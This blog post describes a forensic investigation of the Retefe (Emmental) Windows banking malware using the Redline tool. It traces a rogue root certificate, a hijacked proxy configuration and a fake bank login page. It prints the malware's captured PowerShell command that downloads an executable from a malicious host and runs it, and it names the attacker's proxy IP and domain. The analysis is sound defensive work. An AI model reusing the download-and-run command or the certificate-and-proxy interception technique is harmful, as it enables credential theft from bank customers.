Wednesday, November 18, 2015

Forensic of Retefe malware (windows) with Redline

In the previous post I did the debugging (dynamic analysis) of a fresh APK malware which is part of the Emmental campaign. Also, I mentioned that I got a SMS with the malicious link to the APK, but how did I get that link via a SMS? The answer for this will be in this post. 

Although in my previous posts about Emmental I did not mention it, Emmental is not the only name provided to this this campaign. TrendMicro names it Emmental while other vendors, like PaloAlto, names it Retefe

The campaign is composed of two malware components: once which infects the Windows systems of the victim and the second one which infectes the Android device of the victim. During the first phase of the attack, when the windows system is infected, the bad guys get access to the bank account credentials of the victim, while in the second phase they get 2FA tokens. Also, in phase 1, the victim is invited to put his phone number in order to receive a SMS with the link to the APK (which is supposed to be a legitimate application from the bank). This is basically how to get the link for the APK which I did for previous post.

In previous post I focused the analysis in the Android malware phase, but at this is linked to the Windows infection I'm going to do a bit of analysis on this phase.
For this, I will use the sample 9ed083fa94a1a4d1153f4566309ccd3294bd851b9fa6aff7b6664ef08e1ddda6 which is distributed by email to the victims.
I will use the forensic tool Redline from FireEye.

The full manual of the tool and how to install it is very well explained in the official documentation. For the purpose of this post, and to not repeat the installation process described in the documentation,  I will focus on the analysis of the evidences once are imported in the tool. Obviously, the system has been infected previously with the malware.

Redline interface 

The interface is quite friendly and very intuitive. It is possible to gather all the information about the system, the network, the processed running, the filesystem, registry, memory sections.. and any relevant information from a forensic point of view.




Performing the analysis 

Checking the processes

When performing forensic I always like to do an overview of the processes running and the network connections as first step. With Redline this is very easy to do. Actually, with the 'Hierachical Processes' menu you have straight forward that view. 

One of the interesting things of Redline is that is able to identify suspicious processes and give some additional information about them. In the screenshot below it has identify two suspicious processes and they have been scored with 93 in the MRI (Malware Risk index) (red arrow). Also, another handy thing is that I can 'tag' some of the evidences (green arrow)  which I consider relevant. In this case, there is a powershell command which looks suspicious to me which which I have tagged in red.





If I double click in each of the process I can see the additional information.  For example, for the process marked by Redline as 'Risky' I can see the information around it.


Also, for the other 'PowerShell' process, I can also  see the details of the process:



Arguments: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "(New-Object System.Net.WebClient).DownloadFile('http://stars-on-earth.de/neueversion/dtvrtxrcetxrtretec.exe','C:\ProgramData\\Microsoft-KB507196.exe');(New-Object -com Shell.Application).ShellExecute('C:\ProgramData\\Microsoft-KB507196.exe');"

Start time: 2015-11-17 08:42:07Z


Clearly we can see this process is trying to download and EXE file (a dropper, new version of the malware ??) and run it. Also, another interesting evidence is the time when the process was created which can be used as point of reference in the timeline.

Checking the ports

Looking at the ports, I can see all the connections: LISTENING, CLOSED, ESTABLISHED. In this case I am interested in the ESTABLISHED ones and I can see a connection to IP 185.82.216.181 which I label in red.


The IP mentioned below resolves to: tonnelrock.net

Checking the timeline

Looking at the timeline I can see the sequence of events. However, as I already know that some suspicious process timestamp (2015-11-17 08:42:07Z) I can limit the windows frame for the investigation:

I have tagged some evidences I consider relevant. For example, the evidence below, from the LOGS of the system, indicates a Root CA certificate was installed



Going further in the timeline, I also see something suspicious:



There is a change in a REGISTER for the proxy configuration:

https://tonnelrock.net/tonnel.js

This hostname is already familiar to me, from the network connections analysis previously :)

The URL is HTTPS so there is a certificate in the side of the server. Looking at the certificate I see the following:


$ openssl s_client -connect tonnelrock.net:443
CONNECTED(00000003)
depth=0 /C=CH/ST=Zurich/L=Zurich/O=Secure Tonnel/OU=IT/CN=default/emailAddress=me@myhost.mydomain
verify error:num=20:unable to get local issuer certificate
verify return:1
depth=0 /C=CH/ST=Zurich/L=Zurich/O=Secure Tonnel/OU=IT/CN=default/emailAddress=me@myhost.mydomain
verify error:num=27:certificate not trusted
verify return:1
depth=0 /C=CH/ST=Zurich/L=Zurich/O=Secure Tonnel/OU=IT/CN=default/emailAddress=me@myhost.mydomain
verify error:num=21:unable to verify the first certificate
verify return:1
---
Certificate chain
 0 s:/C=CH/ST=Zurich/L=Zurich/O=Secure Tonnel/OU=IT/CN=default/emailAddress=me@myhost.mydomain
   i:/C=US/ST=CA/L=SanFrancisco/O="thawte, Inc."/OU=Certification Services Division/CN=thawte Primary Root CA - G4/emailAddress=
---
Server certificate
-----BEGIN CERTIFICATE-----
MIIHVjCCBT6gAwIBAgICAPQwDQYJKoZIhvcNAQEFBQAwgawxCzAJBgNVBAYTAlVT
....
UKT8c8+pMujMHzcZ0C/D2kwwuz6aFLR2bGby3ODudXekeDq+abB5V6EIviiAy6sm
88+zbeLKTQnecN1m28BkspBAJsp/YEhTtsusDV0mVL42qYNLF4sCxibOvMzTfzCZ
078tuv4HZ41zCNAu9gwis6/oDEfYDx//gCWncfIeix1+yg9zzQgQGtiXfZOVmENZ
S527xNXnRQmryZcIk9c6oQFzDK6fSWKjwcsEeQYjlfaRlB7IPoTQJrLAVDDpqYzN
ifpf7FdMMVnANg==
-----END CERTIFICATE-----
subject=/C=CH/ST=Zurich/L=Zurich/O=Secure Tonnel/OU=IT/CN=default/emailAddress=me@myhost.mydomain
issuer=/C=US/ST=CA/L=SanFrancisco/O="thawte, Inc."/OU=Certification Services Division/CN=thawte Primary Root CA - G4/emailAddress=
---
No client certificate CA names sent
---
SSL handshake has read 2051 bytes and written 712 bytes
---
New, TLSv1/SSLv3, Cipher is AES256-SHA
Server public key is 4096 bit
Secure Renegotiation IS supported
Compression: NONE
Expansion: NONE
SSL-Session:
    Protocol  : TLSv1
    Cipher    : AES256-SHA
    Session-ID: 1E76B036BC3963A968D8645440DD08B4BF6512CD539E321D08BF22A2B0237D46
    Session-ID-ctx:
    Master-Key: 235601F367B3F5FD9C1F4E9BE0DC5C19A55D205FF05FD47E1FF93B20AC19A97DF2E46F3AFE697853201D0B50B7C85BC3
    Key-Arg   : None
    Start Time: 1447842834
    Timeout   : 300 (sec)
    Verify return code: 21 (unable to verify the first certificate)


Interesting the CN field in the certificate. This matches the Root CA certificated installed.

Looking further in the timeline, I see there are some interesting URL accesses. This evidences are gathered by Redline from the browser and included in the timeline. Really handy :)









The URL accessed is from a Swiss Bank https://onba.zkb.ch.  However is the URL accessed by the victim the real one or a fake one?. The host onba.zkb.ch resolves to the IP 62.240.192.149, but there is not any connection to that IP in evidences, however there is a connection to the proxy IP (185.82.216.181) as showed previously in the post. This means basically the URL surfed is not going to the real IP directly, hence likely is the the fake portal.

Actually, digging in the logs we can see there are more access to that URL:





If I try to access one of the static resources, like for example https://onba.zkb.ch/image/ch/zkb/slv/onba/resource/common/bank_logo.jpg I can see the resources doesn't exist: 

$ wget https://onba.zkb.ch/image/ch/zkb/slv/onba/resource/common/bank_logo.jpg
--2015-11-18 12:25:15--  https://onba.zkb.ch/image/ch/zkb/slv/onba/resource/common/bank_logo.jpg
Resolving onba.zkb.ch... 62.240.192.149
Connecting to onba.zkb.ch|62.240.192.149|:443... connected.
HTTP request sent, awaiting response... 404 Not Found
2015-11-18 12:25:15 ERROR 404: Not Found.

That basically confirms that the website was a fake one and that was presented to the victim as the real one in order to steal the bank credentials.
Also, this matches the connection detected to the proxy 185.82.216.181

What is the role of the certificate installed? Basically, the certificate installed allows to present the victim a website with a certificate (HTTPS) without any kind of warning, hence the victim doesn't suspect.

How is the SMS sent? once  the user has accessed his bank account, the fake website asks for the phone number in order to send the application(fake) necessary to access the bank.

Summary

Redline is a very useful tool to perform forensic analysis in Windows. it is very easy to setup and the GUI interface is very friendly to use. The timeline is very powerful as it includes all the evidences which makes very easy to follow up the analysis.
Also, it is possible to investigate specific evidences with a simple click. In this case we saw processes, registers, network connection, logs from the browser.

Regarding Emmental / Refete, I checked briefly what the malware does. Once the binary is executed, it install a Root CA Cert and configure a proxy to redirect the traffic to it. This permits to present the user fake bank websites in order to steal the credentials.